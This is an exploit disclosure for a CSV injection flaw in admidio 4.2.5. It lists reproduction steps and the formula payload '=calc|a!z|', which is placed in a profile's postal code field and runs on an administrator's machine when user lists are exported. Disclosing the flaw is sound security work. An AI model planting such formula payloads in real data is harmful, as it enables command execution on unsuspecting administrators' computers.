Exploit Title: admidio v4.2.5 - CSV Injection  
Application: admidio  
Version: 4.2.5  
Bugs: CSV Injection  
Technology: PHP  
Vendor URL:  
Software Link:  
Date of found: 26.04.2023  
Author: Mirabbas Ağalarov  
Tested on: Windows  
2. Technical Details & POC  
Step 1. login as user  
step 2. Go to My profile (edit profile) and set postal code as =calc|a!z| and save (http://localhost/admidio/adm_program/modules/profile/profile_new.php?user_uuid=4b060d07-4e63-429c-a6b7-fc55325e92a2)  
step 3. If admin Export users as CSV or excell file ,in The computer of admin occurs csv injection and will open calculator (http://localhost/admidio/adm_program/modules/groups-roles/lists_show.php?rol_ids=2)  
payload: =calc|a!z|  
Poc video: